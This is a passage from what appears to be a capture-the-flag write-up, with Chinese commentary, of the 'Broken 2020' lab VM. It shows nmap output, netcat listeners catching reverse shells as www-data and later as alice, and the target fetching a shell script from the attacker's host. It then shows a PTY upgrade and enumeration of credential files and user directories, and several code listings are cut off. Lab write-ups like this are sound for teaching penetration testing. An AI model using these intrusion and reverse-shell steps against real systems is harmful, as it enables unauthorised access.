PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 7e:f3:33:8c:be:0c:ed:d7:0e:c6:67:cc:73:bf:c0:ab (RSA) | 256 ee:ed:74:02:0d:3f:7d:6d:45:aa:ff:f3:3a:d0:1a:d9 (ECDSA) |_ 256 d1:18:a9:ef:7f:b6:c8:a9:30:52:c8:e6:b6:ec:64:80 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Coming Soon |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 08:00:27:D3:A9:03 (Oracle VirtualBox virtual NIC)
Device type: general purpose Running: Linux 5.X OS CPE: cpe:/o:linux:linux_kernel:5 OS details: Linux 5.0 - 5.5 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http |_http-dombased-xss: Couldn\'t find any DOM based XSS. |_http-csrf: Couldn\'t find any CSRF vulnerabilities. |_http-stored-xss: Couldn\'t find any stored XSS vulnerabilities. | http-internal-ip-disclosure: |_ Internal IP Leaked: 127.0.1.1 | http-enum: |_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.38 (debian)' MAC Address: 08:00:27:D3:A9:03 (Oracle VirtualBox virtual NIC)
┌──(kali㉿kali)-[~/Documents/Broken_2020] └─$ sudo nc -lvnp 443 listening on [any] 443 ... connect to [192.168.1.101] from (UNKNOWN) [192.168.1.232] 41466 GET /39b14733d3eb56a24f928abf52e115b4.sh HTTP/1.0 Host: 192.168.1.101:443 Connection: close
┌──(kali㉿kali)-[~/Documents/Broken_2020] └─$ sudo nc -lvnp 443 listening on [any] 443 ... connect to [192.168.1.101] from (UNKNOWN) [192.168.1.232] 41480 bash: cannot set terminal process group (535): Inappropriate ioctl for device bash: no job control in this shell www-data@broken:/var/www/html/cms/cc$ whoami whoami www-data www-data@broken:/var/www/html/cms/cc$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@broken:/var/www/html/cms/cc$ uname -a uname -a Linux broken 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64 GNU/Linux www-data@broken:/var/www/html$ which python which python /usr/bin/python www-data@broken:/var/www/html$ python -c "import pty;pty.spawn('/bin/bash')" python -c "import pty;pty.spawn('/bin/bash')" www-data@broken:/var/www/html$ sudo -l sudo -l [sudo] password for www-data:
用户移动
反弹 shell 成功,看看敏感文件权限
1 2 3 4
www-data@broken:/var/www/html$ ls -liah /etc/passwd /etc/shadow ls -liah /etc/passwd /etc/shadow 269342 -rw-r--r-- 1 root root 1.6K Mar 24 2020 /etc/passwd 269646 -rw-r----- 1 root shadow 1.1K Mar 26 2020 /etc/shadow
查看网站目录
1 2 3 4 5 6 7 8 9 10
www-data@broken:/var/www/html/cms/cc$ ls -liha ls -liha total 28K 7030 drwxr-xr-x 2 www-data www-data 4.0K Oct 16 04:48 . 437 drwxr-xr-x 3 www-data www-data 4.0K Oct 15 16:37 .. 6671 -rw-r--r-- 1 www-data www-data 32 Oct 15 16:37 e425ef56a6ca4a3101e775d5019fb237.txt 39 -rw-r--r-- 1 www-data www-data 164 Mar 24 2020 fe8b7cfd24a4ad396054c8cd2f44d296.py 7384 -rw-r--r-- 1 www-data www-data 992 Mar 24 2020 index.php 8655 -rw-r--r-- 1 www-data www-data 54 Oct 16 04:51 log.txt 8654 -rw-r--r-- 1 www-data www-data 82 Oct 16 04:51 shell.sh
我们应该就是通过 shell.sh 后门进来的,看一眼 python 文件
1 2 3 4 5 6 7 8 9 10 11 12
www-data@broken:/var/www/html/cms/cc$ cat fe8b7cfd24a4ad396054c8cd2f44d296.py cat fe8b7cfd24a4ad396054c8cd2f44d296.py import requests import os
www-data@broken:/home/alice$ ls -liha ls -liha total 48K 31 drwxr-xr-x 5 alice alice 4.0K Mar 26 2020 . 193 drwxr-xr-x 3 root root 4.0K Mar 24 2020 .. 6538 lrwxrwxrwx 1 alice alice 9 Mar 24 2020 .bash_history -> /dev/null 67 -rw-r--r-x 1 alice alice 220 Mar 24 2020 .bash_logout 7046 -rw-r--r-- 1 alice alice 570 Jan 31 2010 .bashrc 6523 drwxr-xr-x 3 alice alice 4.0K Mar 24 2020 .cache 6842 drwxr-xr-x 3 alice alice 4.0K Mar 24 2020 .local 46 -rw-r--r-- 1 alice alice 148 Aug 17 2015 .profile 54 -rw-r--r-- 1 alice alice 66 Mar 25 2020 .selected_editor 6982 -rw-r--r-- 1 alice alice 173 Mar 24 2020 .wget-hsts 7131 -rw-r--r-- 1 alice alice 29 Mar 25 2020 flag.txt 6841 -rw-r--r-- 1 alice alice 141 Mar 25 2020 note.txt 6859 drwxrwxrwx 2 alice alice 4.0K Mar 26 2020 script
www-data@broken:/home/alice/script$ ls -liha ls -liha total 16K 6859 drwxrwxrwx 2 alice alice 4.0K Mar 26 2020 . 31 drwxr-xr-x 5 alice alice 4.0K Mar 26 2020 .. 6862 -rw-r--r-x 1 alice alice 48 Oct 16 04:57 clear.log 6861 -rwxr--r-- 1 alice alice 585 Mar 25 2020 log.py www-data@broken:/home/alice/script$ cat log.py cat log.py #!/usr/bin/python2.7 import requests import os import datetime
""" #Juste in case I want stop this script remotly
r = requests.get("https://pastebin.com/raw/9vzu2CA5")
www-data@broken:/back$ ls .. ls .. back etc lib media run usr backup.py flag.txt lib32 mnt sbin var bin home lib64 opt srv vmlinuz boot initrd.img libx32 proc sys vmlinuz.old dev initrd.img.old lost+found root tmp www-data@broken:/$ cat backup.py cat backup.py import os import datetime size = os.path.getsize("/home/alice/backup/path.txt")
┌──(kali㉿kali)-[~/Documents/Broken_2020] └─$ sudo nc -lvnp 444 [sudo] password for kali: listening on [any] 444 ... connect to [192.168.1.101] from (UNKNOWN) [192.168.1.232] 58756 alice@broken:/root$ whoami whoami alice alice@broken:/root$ id id uid=1000(alice) gid=1000(alice) groupes=1000(alice),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth) alice@broken:/root$ cd ~ cd ~ alice@broken:~$ ls -liah ls -liah total 52K 31 drwxr-xr-x 6 alice alice 4,0K oct. 16 10:25 . 193 drwxr-xr-x 3 root root 4,0K mars 24 2020 .. 7147 drwx------ 2 alice alice 4,0K mars 26 2020 backup 6538 lrwxrwxrwx 1 alice alice 9 mars 24 2020 .bash_history -> /dev/null 67 -rw-r--r-x 1 alice alice 220 mars 24 2020 .bash_logout 7046 -rw-r--r-- 1 alice alice 570 janv. 31 2010 .bashrc 6523 drwxr-xr-x 3 alice alice 4,0K mars 24 2020 .cache 7131 -rw-r--r-- 1 alice alice 29 mars 25 2020 flag.txt 6842 drwxr-xr-x 3 alice alice 4,0K mars 24 2020 .local 6841 -rw-r--r-- 1 alice alice 141 mars 25 2020 note.txt 46 -rw-r--r-- 1 alice alice 148 août 17 2015 .profile 6859 drwxrwxrwx 2 alice alice 4,0K oct. 16 10:24 script 54 -rw-r--r-- 1 alice alice 66 mars 25 2020 .selected_editor 6982 -rw-r--r-- 1 alice alice 173 mars 24 2020 .wget-hsts
发现在 alice 用户权限下,文件夹中多了 backup 文件夹,进入
1 2 3 4 5 6 7 8 9
alice@broken:~/backup$ ls -liah ls -liah total 20K 7147 drwx------ 2 alice alice 4,0K mars 26 2020 . 31 drwxr-xr-x 6 alice alice 4,0K oct. 16 10:25 .. 9698 -rw-r--r-- 1 alice alice 27 mars 26 2020 flag.txt 9697 -rw-r--r-- 1 alice alice 150 oct. 16 10:28 logbot.log 9696 -rw-r--r-- 1 alice alice 129 mars 26 2020 note.txt 9695 -rw-r--r-- 1 alice alice 0 mars 26 2020 path.txt
alice@broken:~/backup$ cat logbot.log cat logbot.log [INFO] 10:26:01 16/10/2023 : no path in path.txt [SECURITY] 10:39:01 16/10/2023 : [&] may be an attack attempt. To avoid this the script was interrupted